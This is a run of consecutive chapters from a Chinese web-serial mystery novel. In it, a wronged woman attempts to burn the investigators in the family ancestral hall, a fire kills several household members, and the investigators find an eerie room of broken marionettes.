刚准备走到一旁,等凌小宝顺利离开这里后,他们再进去时…… 忽然! 凌小宝的一句话,让他们硬生生地停下了准备离开的脚步。 “玫…玫儿…”凌小宝先是委委屈屈地叫了对方一声,随后又才结巴道:“阿爹待小宝很好的,小宝可不可以…不要杀阿爹啊……” 几人顿时面面相觑! 他们听见了什么?玫儿居然让凌小宝动手杀了自己的亲爹? 几人自然知道玫儿有多恨凌天阁……或者说整个凌家。 门板里隐隐约约传出女子的声音,那声音冷静又漠然,绝对不是他们昨日见到的那个怯懦的玫儿会发出的声音。 “傻子,你不知道吗?我们俩也曾经有过一个孩子,那个孩子……就是被那个所谓的……待你很好的阿爹给逼死的!” “不…不可能…小宝怎么…小宝不会生孩子的……”凌小宝好似没听懂玫儿说的意思,一直不停地重复一句话,“小宝是男的…不能生出继承人…阿爹说过的……” 玫儿似乎气急了,从里面传出了一阵女子凉薄的大笑,随后突然大声道:“你当然是生不出继承人,但找个女人就可以了啊!所以…我这个倒霉透顶的人,就成了你们凌家生孩子的工具了。” 凌小宝一见玫儿突然这么凶,开始抽抽泣泣道:“玫…呜呜…玫儿你不要生气,小宝不让你生了,你…不是工具…呜呜呜……” 玫儿冷笑一声,开口:“……是吗?那我怀胎十月,被你们凌家人锁起来待产时,你又在哪里呢?” 喜欢霞锦流光请大家收藏:()霞锦流光更新速度全网最快。 第一百七十八章 束缚 暗门后,是死一般的寂静。 许久,凌小宝问了一个问题:“玫儿,‘待产’是什么呀?” 门外偷听的几人,心里蓦地被刺痛了一下。 他们几个局外人,在听见二人的对话后,尚且都感到了无力,何况是亲身经历过一切的玫儿。 当时的她,该是有多么的绝望…… “我不该对你抱有希望的,”玫儿无助的泣音只维持了一瞬,“你滚吧,没用的东西!” “不可以……玫儿,小宝不能离开你的。”凌小宝自然不愿意离开。 女子轻笑一声:“要不滚,要不去杀了你爹,不然就永远不要再出现在我面前!”她的尾音里含着一丝破碎。 里面再次没了声音,冷萤几人正准备先离开时,暗门倏地被人从里面打开。 “进来吧,各位!” 开门的女子眼眶还有些红,却对着他们故作狠厉,整个人看起来破碎到几乎要崩溃。 几人尴尬地站在原地,偷听被抓了个正着,他们一时竟不知该先道歉,还是先安慰对方。 “玫儿……” 冷萤刚开了个口,就被对方打断:“请不要用这种眼神看着我,我不需要任何人的同情!” 看着努力维持冷漠表情的女子,冷萤不知该如何开口,斟酌许久后才道:“我们不是同情你,但是……” 见对方看向了自己,她才继续道:“不要留在这个伤害过你的地方了,你还年轻……” “闭嘴!”一把推开正在抽泣的凌小宝,原本坐着的玫儿慢慢站起身,一步一步自暗门走出,在走到冷萤面前时停下脚步道:“你没有资格教我如何行事。” 冷萤只能闭嘴不再说话。 凌小宝从地上爬了起来,一把抹干脸上的眼泪,走上前对着珊瑚道:“阿姐,玫儿好像生小宝的气……讨厌小宝了,小宝该怎么办呐?” 珊瑚翻了个白眼,没好气地回他:“你长得这般惹人厌,讨厌你难道不是很正常的事情吗?” 她的话,引来了玫儿的侧目。 她或许以为冷萤几人定会护着凌小宝,所以才导致在方才说话时,语气里含有强烈的攻击性。 这时见他们并未偏颇任何一方,眼底的防备才逐渐没有那样浓烈了。 连着被两个人吼,凌小宝不敢再继续说话,只能慢慢蹲到墙角处,可怜巴巴地抱着自己。 或许是对他再没有一丝希冀,玫儿眼风都没有给他半缕,而是对着冷萤几人道:“既然已经被你们发现,我也没有必要再装了。” 见她愿意说,冷萤这才开口问:“你方才……为何要凌小宝杀了凌天阁?” 对方面色冷淡,嗤笑一声道:“你们不觉得很好玩吗?被自己亲手娇养出来的儿子杀掉,这对凌天阁来说,应该算享受了吧?” 她的表情复杂,像是格外痛快但又突然沉下脸,好似正在想象凌天阁被自己亲生儿子杀掉的画面。 见状,冷萤开口问道:“你只是想报复凌家人,为何要将十几年前的那个孩子扯进来?” 玫儿覆下的眉眼看不清神色,暗影下露出的嘴角却是微微勾了勾,很快又恢复了正常,“同样是刚出生便被凌家人害死的孩子,我失去了孩子痛苦,凌雪霜难道就不痛苦吗?反正也要吓死他们,不如让恐惧来得更猛烈一些。” 听了对方的回答,冷萤低头思忖片刻,复又问道:“那我们做错了什么?两个晚上了……我到凌家后就没睡过一次好觉。” 像是完全没想到对方会突然这样说,玫儿缓缓抬起头直愣愣地看向冷萤,眼底闪过一丝错愕。 “说得不对吗?”冷萤朝她走了一步,噙着淡笑道:“我们得罪你了?为何连着几个晚上,都要被你和你手中的傀儡骚扰?” 珊瑚见冷萤说着说着,眼底居然渐渐浮起了冷意,悄声在她耳畔提醒道:“冷姐姐,要不就算……”了吧。 她难得想帮谁说句好话,可在瞧见冷萤笑着转过身,原本清澈的眼瞳下依旧挂着的两团黑青时,最后两个字硬生生地被她给吞了回去。 随后,话锋一转道:“当……当然,你这样是不对的,俗话说冤有头债有主,你找害你的人报仇去呀。” 被珊瑚这样一打岔,原本沉重到快要窒息的气氛稍稍松快了些。 女子看了眼蹲在墙角的凌小宝,语气虽不像方才那样具有攻击性,但还是不愿说实话:“我……我不知道那间房子里住的是你们。” “呵……你不知道?”冷萤瞥了她一眼,开口道:“那里可是客房!你曾经在凌家做过工,理应不会认错门吧?” 玫儿这时似乎才反应过来,懊恼地咬了咬唇,嘴硬道:“记,记错了。天那样黑,我心里又紧张,会记错也很正常。” “天那样黑,你一个弱女子连房间都能认错,却能趁着夜色爬到屋顶上揭瓦?”冷萤不信。 经冷萤提醒,珊瑚才猛地想起:“对啊,那么高的屋顶,你是怎么爬上去的?你会功夫?” 这次,玫儿怕言多必失干脆直接不开口,转身走回暗门里坐下。 冷萤也不着急,顺势走进暗门。 她轻轻一撩裙摆,坐在了玫儿身边开口:“玫儿,你在凌家待了不少年,想必对悬丝傀儡戏不陌生。难道……你希望自己的人生就像悬丝傀儡一样,一直被人牵着走,永远都没有自由吗?” 玫儿萎靡的身子一震,下意识回道:“姑娘什么意思?” “我的意思,你不会不懂。”冷萤看向她,淡声道:“从前的你没得选择,只能孤身一人被迫留在凌家。可现在,你明明有别的路走,却宁愿放弃自由,选择被人束缚。你这样做,有没有想过以后?” “姑娘……”玫儿苦笑一声道:“自我的孩子从高墙上摔落的那一日起,我早就没有以后了。我对不起那个孩子…” 她的话还未说完,便被冷萤打断:“你更对不起你自己!这件事情中,受伤最深的便是你。我知你想报复,但也不能从一个满目疮痍的坑里,跳到另一个布满危险的井里。” 她的话似乎起了些作用。 玫儿思虑许久后,才幽幽地看向暗门外的黑暗之地,喃喃道:“我可以告诉你们是谁……” 喜欢霞锦流光请大家收藏:()霞锦流光更新速度全网最快。 第一百七十九章 先解决你们了 冷萤一怔,她没想到对方会突然同意,明明方才还一副打死不肯交代的模样。 她并没有表露自己的疑惑,而是顺势朝对方问道:“是谁?” 玫儿站起身,朝冷萤走近一步。 本以为对方会就此停下脚步,所以冷萤也只是下意识地朝后退了一步,并没有拉大两人之间的距离。 姜小四与珊瑚,在两人方才对话时,已完全卸下防备慢慢走进了暗门。 暗门里亮着微弱的光,与门外突来的黑暗成了鲜明的对比。 冷萤背对着敞开的大门,瞧着眼前玫儿面容上明明灭灭的暗光,心里几乎是有了答案,却还是执意地想等对方说出。 玫儿见她停在了原地,突然神秘一笑,随后毫不客气地又朝冷萤逼近了一步。 见对方步步紧逼,为避免两人的身体有接触,冷萤也只好再次往后退。 就这样,两人一进一退,竟慢慢移到了门口。 “冷姐姐……”珊瑚眼见着冷萤身后的黑暗几乎要将她吞噬,内心有丝不安,突然张口喊了一声。 玫儿的脸上,突然露出了一丝奇怪的笑容,视线自冷萤身上慢慢移向她上方的虚空处。 就在冷萤察觉到不对,想闪身离开玫儿的身前时…… 对方突然抬起双手,使劲将她往后一推! “冷姐姐!” 珊瑚和姜小四在玫儿动手时,猛地瞧见冷萤身后站着一个高大的身影。他们没来得及想,立即伸出手想拉住她的手,却已经来不及了。 冷萤只感觉,自己的后背撞到了一个人。在撞上去的同时,她试图控制自己的身体,胳膊也尽量伸长,想要抓住珊瑚和姜小四其中一人的手。 但背后的人,似乎并没有给她这个机会。 就在两人身体相触的一瞬间,对方竟还伸手扶了一下她。 “你没事吧?”熟悉的嗓音,自她身后响起。 是方骅! 她紧绷的情绪瞬间松懈下来。 珊瑚和姜小四也放下心来,珊瑚走上前扶着她,担心地问了句:“冷姐姐,没事吧?” “没事。”在回答她后,冷萤才转头看向渐渐自黑暗走出方骅,轻声道:“多谢……” 这时的玫儿不淡定了,她瞧着出现在暗门里的方骅,惊声问道:“怎……怎么是你?” “你以为是谁?”方骅一直放在冷萤身上的目光慢慢转过去,语气逐渐变得冷漠问道。 被他语气里的狠厉吓住,玫儿慢慢朝后退着,嘴里喃喃道:“这不对啊……我们明明说好的,我将你们引来……” “然后他再赶过来,你们合力将我们和凌小宝烧死在这座祠堂里,对吗?”冷萤接过她的话,问道。 玫儿瞪大双眼,不可置信地问道:“你怎么会知道?” “这么强烈的石漆味道,方才我或许闻不出,现在还闻不出吗?”她指了指刚被凌小宝打开的石漆桶,问道。 所有人的目光,全都看向了方才还蹲在墙角,这时突然移到了另一边,正在笑嘻嘻玩桶盖的凌小宝。 玫儿见状,上前一把挥开凌小宝的手快速盖上,然后慌张地转身挡在桶前,抓过一旁的香烛正面对上几人。 “玫儿,为什么要这样做?”珊瑚见对方又恢复楚楚可怜的样子,差点没忍住冲了上去。 她无法想象,自己方才还在同情的人,现在居然想烧死他们! 玫儿见她凌厉的目光里透着不解,靠在石漆桶上狂乱地笑着道:“本来,我只想与凌家人同归于尽的,谁知道你们突然住进了凌家,还到处打听。那就只能……” 她慢慢站起身,一字一句道:“先解决你们了……”说完,她看了冷萤一眼,目光里带着决绝。 冷萤见她情绪不稳,身旁又放着石漆桶,只能用安抚的语气道:“你先不要激动。我们只是帮凌天阁查案而已,凌倩倩也不是你杀的,你反应为何会这么大?” 玫儿举着香烛,看着她默然不语。 方骅见她不说话,冷笑一声道:“不说话,就以为你们的计划能成功实施了吗?你猜,安排你守在这里的人,今晚为什么没来?” 他的话,引起了玫儿的注意。 见对方终于有了反应,他才继续道:“他不可能会来了,这场计划现在只剩下了你一个人。你觉得,你还有希望吗?” “为什么没有?”玫儿一动不动地站在那里,高高举起手中的烛火,“只要我手中的东西一落下,我们的计划便成功了。” “然后呢?”冷萤反问道:“你在这场计划里以死献身,背负着杀人放火的骂名,到死都是被人控制的牵线木偶。而他呢?从此得偿所愿,得到自己想要的一切?” 她的问话很直白,但从玫儿的反应来看,应该是听了进去。 只是一个人被控制久了以后,即便知道自己未来会面对什么,却也不敢擅自离开长久束缚着自己的事物,大胆选择另外一条路。 冷萤看着玫儿明显有一瞬间的慌乱,高举着香烛的手渐渐放下。 她以为自己的劝说成功,刚松下一口气时。 突然! 玫儿放下的手,赫然在石漆桶的上方松开了…… “小心!”珊瑚大喊,朝玫儿那处射出弦丝。 冷萤、方骅和姜小四,三人在同一时刻全都朝石漆桶跑去。 可他们的动作再快,也比不上香烛下落的速度。 眼见着,那香烛快要落入被玫儿开盖的石漆桶的前一瞬! 一只瘦弱到苍白的手,接住了下一刻就要落入石漆桶里的香烛。 “哇,好烫啊……” 赤手接住香烛的手,被烫到立即松开。 凌小宝的这一抓,刚好给了方骅机会。就在他松开手的片刻,方骅一把接过掉落的香烛,徒手捏灭摇曳的烛火。 然后,在众人都没反应过来时,冷萤与姜小四以最快的速度,熄灭了房内的所有香烛。 “放开我!” 玫儿想趁乱逃跑,被珊瑚捆住了双脚。 一瞬时,周围全都陷入黑暗当中。 片刻后…… “他过来了……”玫儿颤抖的嗓音,突然开口。 喜欢霞锦流光请大家收藏:()霞锦流光更新速度全网最快。 第一百八十章 走水 玫儿的话,使所有人顷刻间全望向门外。 外面是一望无际的黑,祠堂里那些暗黄的烛火,早就不知被谁给熄灭。 冷萤这才想起,早在方骅过来之前,外面的祠堂早已漆黑一片了。 “刚才一直有人在外面。”冷萤立即警觉。 方骅点头,看着门外无半丝光亮,沉声道:“我出去看看。” 姜小四也跟了上去,暗门里便只剩下了冷萤、珊瑚还有玫儿与凌小宝。 凌小宝这时知道怕了,摸黑爬到玫儿身边,窸窸窣窣地不知在干什么,嘴里像是在撒娇又像在与玫儿嘀咕些啥。 “喂,你俩干啥呢?”珊瑚见这俩凑得这样近,凶巴巴地问了一句。 冷萤也觉得他们有些奇怪,正想走过去看看他俩在干什么,玫儿突然抬头望向暗门外,紧张兮兮道:“谁在外面?” 她过度害怕的神情,影响了冷萤与珊瑚。 她俩下意识转过头,想看外面发生了什么。突然,凌小宝突然站起身,拼着一股蛮力撞向珊瑚。 “哎哟……” “珊瑚!” 凌小宝傻乎乎的不懂收力,珊瑚一下没反应过来被他撞出去好远。冷萤见状立即跑上前,转弯想扶起珊瑚,被人从背后猛地一推。 霎那间,她与珊瑚同时被人推出了暗门外。 “凌小宝,你给姑奶奶死定了!” 珊瑚气呼呼地爬起顺手扶起冷萤,两人狼狈地站起身正想往暗门里走,玫儿突然闪身出现在门口,在朝他们微微一笑后“砰”得一下关上了门。 没来得及进去的两人,在愣了一瞬后马上意识到情况不对,举起手开始拍门。 “玫儿,你想干什么?快开门啊!”珊瑚扯着嗓子大喊。 冷萤也敲着门道:“玫儿,你先出来,我们有话好好说。” 里面一时鸦雀无声,无人打开门也无人再回答她们。 “冷姐姐,你站后一些。”珊瑚想直接将门踢开,怕伤着冷萤,吩咐她站远点。 刚抬起脚,正准备踹下时…… 冷萤突然闻到了一股不同寻常的气味。 她神情倏然一震,立刻反应过来:“珊瑚快!里面走水了!” 珊瑚一听,抬脚就踢!冷萤也从旁边拿起凳子,吃力地举起来就开始砸门。 “她将门反锁了!”珊瑚累得气喘吁吁,抽空说了句。 冷萤将凳子一丢,对珊瑚道:“你坚持一会儿,我去叫人。” “好,你注意!”说完,珊瑚转过身继续砸门,嘴里换了个人喊道:“凌小宝,你快把门打开,再不打开玫儿和你都会死的!” 也许是听见了她的声音,半晌后里面传出了一阵虚弱的男声:“阿姐…阿姐救小宝…咳咳…小宝不能呼吸了……” “好好,”珊瑚一听里面还有人说话,立刻趴在门上指挥,“小宝乖,你先把门闩打开,打开了阿姐才能救你啊,快点……” 也不知她的话传进去了没,接下来里面无一人再应她。 渐渐地,浓烟自门缝四处弥漫出来,珊瑚已经在门边站不住了,被溢出的浓烟呛得直咳嗽:“咳咳咳……凌小宝你还活着吗?不想和玫儿一起死在里面,就快些把门打开!” 这么久了,玫儿在里面一言不发,珊瑚也不知她是死是活,只有不停地喊方才出过声的凌小宝。 方骅与姜小四已经去追方才躲在外面的那个人,冷萤去叫人也还没来,这里就只剩下她一个人。 瞧着这浓烟滚滚,此时的珊瑚感觉到了前所未有的无能为力。 她在门外一直待到再也憋不住气,才不得不慢慢往门口退去。 冷萤跑得几乎快要断气,以最快的速度搬来了救兵,可一切还是来不及了。 整座祠堂里的火,在夜风的加持下,以最快的速度燃烧起来。 珊瑚和冷萤顾不得其他,在救兵来了后,二话不说挽起袖子就开始参与救火。 凌天阁带着一众儿女,穿着寝衣就赶了过来,看见祠堂上空冒出的黑烟,急得又差点撅了过去。 除了凌天青…… 他噙着莫名的笑意,目光自下而上扫视过整座祠堂后,抢过下人好不容易提来的一桶水,从自己头顶浇下。 在所有人都无暇注意到他时,拔腿就冲进了火场里。 “天青!” 万归宁正准备转身去打水,抬眼就瞧见一道眼熟的身影冲进了火场。 见状,她手里的桶都拎不稳了,说什么也要跟着冲进去,却被凌云海拦腰抱住。 “你放开我,为什么进去的是天青啊……”万归宁不停地挣扎,想摆脱凌云海的束缚。 凌云海自然是不肯放开,不停劝阻道:“归宁…归宁你冷静一点,火势已经被控制住了。我进去,我现在就进去把天青带出来,你不要激动!” 万归宁听他这样说,情绪倒是慢慢平静下来。 见她不再像方才那样狂乱挣扎,凌云海这才敢将禁锢着对方的手臂撤下。 “你快去啊!”万归宁见凌云海并没有立即进祠堂,心急地催促了一声。 这章没有结束,请点击下一页继续阅读!凌云海晦涩地看了眼祠堂。见里面火势虽已控制住,但依旧黑烟滚滚。那似黑洞的入口,仿佛人一旦进去便会陷入万劫不复之地。 可他和归宁的儿子在里面,所以凌云海也只得咬紧牙关,重重点头道:“好,我进去!” 说罢,他瞧了眼万归宁,见对方甚至都没有转头看他一眼,他才调转目光,抬脚就往祠堂大门走去。 此时,方骅与姜小四终于回来了。 方才在追不到黑衣人后,方骅猛然发觉他们可能是中了调虎离山之计。 怕留在原地的冷萤与珊瑚有危险,二人正想往回赶,就瞧见祠堂方向的上空有黑烟冒出。 二人大叫不好,忙匆匆地往回赶。没承想,刚赶回来就瞧见了这混乱的场面,和因救火脸蛋被熏黑的冷萤与珊瑚。 “快来帮忙!” 冷萤只来得及对他们喊一句,便又准备转身去打水。就在转身时,看见了凌云海什么都没拿便冲进了祠堂。 她愣怔地拿着水桶,抽空抹了把脸上的污渍。 随后瞧见凌云海在跑进祠堂后,方才明明万念俱灰的万归宁,直接丢开了手里接水的盆,就这么站在祠堂大门前一动也不动了。 她正想上前拉开万归宁,告诉她此时站在这里太危险。可还没来得及,就听见周围一阵嘈杂。 还不知道发生了什么,就瞧见原本面无表情的万归宁,慢慢勾起了唇角。 冷萤表情一愣,倏然听见凌池大喊道:“天青和小宝出来了。” 喜欢霞锦流光请大家收藏:()霞锦流光更新速度全网最快。 第一百八十一章 余烬 众人同时停下手中的动作,朝出口处望去。 只见…… 凌天青背着不知是生还是死的凌小宝,踉踉跄跄地从祠堂跑出。 所有人见状全都围了上去,并将凌小宝自凌天青背上抱了下来。 凌天阁看见凌小宝奄奄一息的模样,心疼地立马扑了过去。 冷萤还在瞧万归宁,觉得她不仅仅是表情奇怪,整个人的状态都很不对。 还有,自己宝贝儿子刚从火场逃出,她居然能忍住站在原地不动,只在凌天青刚现身时看了一眼,随后便将幽深的视线投向祠堂最深处。 冷萤正细细思索着,身旁有人走了过来,她看也不看便知道是谁,直接开口拜托道:“麻烦你去看看凌天青和凌小宝怎么样了。” 姜小四点点头,顺势走了过去。 凌家人见了姜小四就像见到救星一样,立即让开一条道让他走进去替凌小宝查看情况。 冷萤虽好奇万归宁的反应,但姜小四此时更需要她,她也只能将视线移开,挤进人群里。 “他说,凌小宝只是被浓烟呛晕了过去,身体并没有什么大碍。”冷萤替姜小四开口解释道。 凌天阁堪堪松了口气,转身朝正在一旁不停咳嗽的凌天青随意问了句:“你没事吧?这次做得很好!” 凌天青猛烈摇头,缓了半晌好不容易能说话了,一开口便哑着嗓子喊道:“阿爹…阿爹还在里面,我刚才明明瞧见阿爹进去了,怎么这么久了还没出来?” “快!再去找!”凌天阁一听又慌了神,大声对围在一旁的下人喊道。 凌雪霜与樊炎心两人,正好在这时灰头土脸地跑过来。一见他们这样子,便知方才也一直在马不停蹄地救火。 刚赶过来的两人,还未停脚便听见了凌天青的这句话,转身又朝祠堂跑去。 速度快到,凌天阁想拦已经拦不住了。 忙完这一阵,冷萤得空歇了口气。再看向刚才万归宁所站之处时,却发现原本站在那里的女子,早已不见了踪影。 就在这时,下人自祠堂里抬出一具焦尸,从焦尸手中握着的一支银簪子,众人猜出了这具焦尸是谁。 是玫儿…… 凌天青默默说了一句:“我进去时,小叔被人盖在一床浇湿的棉被下面。” 冷萤看着被火吻得面目全非的玫儿走了神,一时竟有些悲从中来。 这个被人控制了一生的女子,到生命的最后一刻还是心软了。 凌天阁一副见鬼的模样,似乎怎么也没想通,为何祠堂里面会出现一具,本应该早就死去之人的尸体。 只是他的惊讶还未持续多久,里面又抬出了一具尸体。 凌天阁一眼就认出了刚抬出的尸体是谁,缓了好久才凄厉地喊道:“云海!” 凌云海死了,死在了寻儿子的路上。 姜小四上前查看,发现凌云海心脏处被人捅了一刀。 “万归宁呢?”冷萤见状,立刻发现了不对劲。 她四处瞧了眼,发现哪哪都没有万归宁的身影。 方骅与冷萤见状,立即一同朝祠堂跑去。就在他们踏上台阶的刹那,便看见满身是血的万归宁,被樊炎心与凌雪霜一起抬了出来。 二人将紧闭双眼的万归宁平放在地上,姜小四只过去瞧了一眼,便抬头对凌家的人摇了摇头。 万归宁的胸前被血染红了一片,与凌云海的死法一模一样。 她的手上……还握着一把刀。 刀上沾着的,不知是凌云海还是她自己的血。 或者…… 是他们两人的鲜血…… 内心遭受重创的凌天阁,吊着的一口气还没缓过来,便直接晕了过去。 天刚蒙蒙亮时,在场除了冷萤几人,便只剩下凌雪霜、樊炎心与凌池这三个还没完全缓过来的凌家人。 “怎么会这样……” 凌雪霜不可置信地摇着头,全身突然一软差点摔倒在地上,还好樊炎心一直站在她身后,及时伸手扶住了她。 凌池接连几日的打击还没完全恢复,这时又亲眼看见大哥大嫂去世,此时的表情不言而喻。 凌雪霜与凌池的状态,已经不适合留下来善后了。 樊炎心上前与他们打了声招呼,便与凌池一同扶着凌雪霜离开,徒留冷萤几人看着被一把火烧毁的祠堂,相互默默无语。 所有的变故,好似都在一霎时发生。 不论是凌家还是他们几人,都没办法立刻接受这场变故。 这场大火看似是玫儿的复仇,其实是将凌家埋在最深处的秘密呈现到众人眼前。 那些秘密,就像这座被烧毁的祠堂一样,外表亮堂整洁,内里却破旧不堪。 大火能带走一切,却带不走那些既定的事实。 比如…… “万归宁与凌云海两人之间,是不是发生过什么?”冷萤小心猜测。 方骅走过来,递给她一方干净的帕子。 冷萤接过正想拿去先帮珊瑚擦干净,一道如针扎般幽怨的视线如影随形而来,她手一抖,下意识就将帕子贴在了自己脸上。 方骅这才转开视线,讲起他与姜小四方才追过去后看到的一切。 …… “什么?”冷萤与珊瑚听完后,异口同声道:“你们确定没看错?” 方骅与姜小四同时摇头。 冷萤百思不得其解,想了好久道:“可是,她方才明明与凌老爷子一同赶到这里的,如果你们瞧见的真是她,这……来得及吗?” 方骅想了想,猜道:“她毕竟在凌家待了许多年,若有小路的话,往这边赶或许可以节约不少路程。” “可是……”珊瑚想不明白道:“看她平日举动并未有可疑之处,与相公恩爱,儿子也颇为听话,怎的会如此想不开?” 珊瑚的疑问,也是冷萤的疑问。 她原先怀疑的是另一个人,可这次的大火,还有方骅与姜小四带回来的消息,着实让她吃了一惊。 相信方骅与姜小四,也与她们有着同样的疑惑。 明明是凌家最不起眼的一个人,平日里若不特别关注,甚至会忽略掉她的举动。 可偏偏是这样一个人,居然才是制造这一切的幕后黑手。 “走吧。”冷萤说了声,率先转身离开这里。 珊瑚不解:“啊?去哪里?” 方骅在她身后不耐烦地回了句:“找凌天青。” 喜欢霞锦流光请大家收藏:()霞锦流光更新速度全网最快。 第一百八十二章 傀儡满屋 凌天青住的小院,可谓是整个凌家最偏僻的地方。 万归宁与凌云海在祠堂里接连去世,在场应该没有人比凌天青更伤心。但方才两人一前一后被人抬出时,冷萤无意间瞧了眼凌天青。 却发现…… 他很伤心,也与凌家每个人一样,表现为极度的不可置信。 只是…… 除此以外,再没有更多了。 他的表现太正常了,正常到……外人一瞧便知他在伤心,但也仅此而已。 疑惑间,几人走到了凌天青的房门外。 他们其实也只是抱着侥幸之心过来瞧瞧,毕竟凌家刚经历变故,别说凌天青了,整个凌家此时估计都是一团乱。 可当他们走近时,却发现大门是虚掩着的。 方骅先是敲了敲门,里面无人应声,这才小心翼翼地推开半扇门,朝里面看了看。 这一看不要紧,方骅与姜小四两个大男人尚且能控制一下,身后的冷萤与珊瑚,硬生生被房里的场景给吓得倒抽了一口气。 凌天青住的地方不大,似乎也没有专门派人伺候。 在方骅推开门时,一阵风灌进了灰暗的房间里,导致房里挂着的那些不完整的傀儡,轻轻地晃荡了起来。 由于太过惊诧,他下意识地伸手将另外半扇门也打开。 可称之为诡异的画面,便彻底地暴露在众人眼前。 昏暗的光线中,悬丝傀儡的残肢断臂挂满了房里的每个角落。 不管它们在制作者的眼中是怎样,但在初来乍到的几人眼中,这些缺胳膊少腿,有些甚至连头颅都没有的傀儡,更像是鬼魅一般的存在。 扭曲的关节和粗糙的雕刻,让他们瞧上去有一种难以言喻的恐怖。 细线自房梁上垂下,连接着这许多不完美的傀儡,当风轻轻吹过时,它们仿佛随时会动起来,然后进行一场无声的演出。 地上那些连脑袋都没有的断臂残肢,以一种令人不安的方式散落着,有的胳膊指向上空,有的则被扭曲成不自然的角度,线头从断裂的关节处垂落,随风轻轻摆动着。 方骅率先走了进去,另外几人则跟在他身后也往里走着。 突然! 珊瑚轻呼一声。 本就神经紧张的冷萤立即看过去,顺着对方的视线,瞧见房间一个角落处,有具没有头颅的傀儡身躯倚靠在墙上,残缺的四肢随意垂落在一旁。 “凌天青似乎不在。”冷萤忍着恐惧说了句。 那些悬空的、不完整的傀儡木偶瞧着实在太阴森,她不想再继续在这个房里待下去了。 珊瑚一听,顿时说道:“那我们走吧,这房子鬼气森森的。” 凌天青的确不在屋里,主人不在,他们擅自进屋已经很不礼貌了,自然要快点走出去才是。 几人正准备动身,姜小四突然听见不知哪里传出一丝奇怪的声响,连忙瞬间停下了脚步。 另外三人似乎也察觉到了什么,即刻停下脚步,同时噤声。 细细碎碎的,似是谁在磨木头的动静传入他们耳中。 他们的视线,同时聚焦在一间已经关上的房门处。 声音,便是从那里传出的。 难道凌天青在家里? 几人对视一眼,轻手轻脚地朝那间房走去。 其实他们方才注意过这间房,只不过想着主人不在,怕太唐突便打消了过去的念头。 方骅带头敲门,里面虽无人应答,但窸窸窣窣的声音似乎一直未停。 不知对方何意,他便试探性地推了推房门。 “吱呀—” 没承想,这房门压根没有关严实,方骅只轻轻一推便自行打开了。 门一打开,首先映入眼帘的便是一只从门梁上吊下来的爬虫。随之而来一股腐朽发霉的气味,强势地灌入每个人的鼻腔中。 等到几人适应了房内的阴暗后,全都不由自主地睁大了双眼。 那里面,一整间房的傀儡堆成了山。 那些傀儡虽然神态不一,但嘴角全都微微地扬起,瞧起来无比诡异。 凌天青就坐在傀儡堆中,半个身子被埋在其中,好似被那些傀儡木偶囚禁在了原地。 他面无表情,目光呆滞,手中拿着一把锋利的刀,正在专心致志地打磨着一尊傀儡。 刀锋在傀儡手臂上重重划过,发出刺耳的摩擦声。木头的表面逐渐变得光滑,而凌天青的反应淡然。 准确地说…… 是完全没有反应。 他好似根本不关注外界的声音,即便方骅已将房门打开许久,他却连下意识抬一下头的动作都没有。 “凌…天青?”冷萤不得不开口,唤了他一声。 他的状态不对! 明知自己爹娘刚刚去世,却跑回家做傀儡,冷萤不是很明白他的做法。 她出声后,凌天青一直动作的手微微停顿片刻后,又开始了机械而又重复的行为。 冷萤又问了句:“你没事吧?” 凌天青手中的动作越来越快,就在冷萤以为他不会再回答时,他开口了。 “我能有什么事?死的又不是我。”喑哑的声音,应当是方才在救凌小宝时被浓烟给呛坏了。 珊瑚见他这般模样,气不打一处来,大着胆子道:“你这个怎么回事啊,亲爹亲娘刚刚去世,你居然还能说出这样的风凉话?” 她的话,仿佛触动了凌天青身上的某个机关。他猛地摔开手中还未完全成形的傀儡木偶,突然仰天大笑出声。 他坐在傀儡堆里已经够诡异了,再加上他因为大笑而嘶哑的嗓音,让门外几人全都默契地往后退了一步。 “他在笑什么啊,我有说错吗?”珊瑚被对方笑得心里发毛,悄摸摸地低声问冷萤。 冷萤摇摇头,看着与她同样摸不着头脑的方骅与姜小四,没有出声。 凌天青在嗓子终于笑不出声后,才慢慢垂下朝着上空的脑袋,随便拿过一具傀儡残肢又开始了他的动作。 他一边磨,一边哑着嗓音道:“他们死了倒是解脱了,却将我一个人丢下。你们说……他们这还算是为人父母吗?” 凌天青说这些话时脑袋垂的低低的,如果不是他们此时的注意力都在对方身上,不仔细听还以为是在自言自语。 “他们也不想……”冷萤试探性地开口。 “呵……不想?”凌天青却是直接截断她的话,反问道:“不瞒你们说,他们早就恨不得对方死了!” 喜欢霞锦流光请大家收藏:()霞锦流光更新速度全网最快。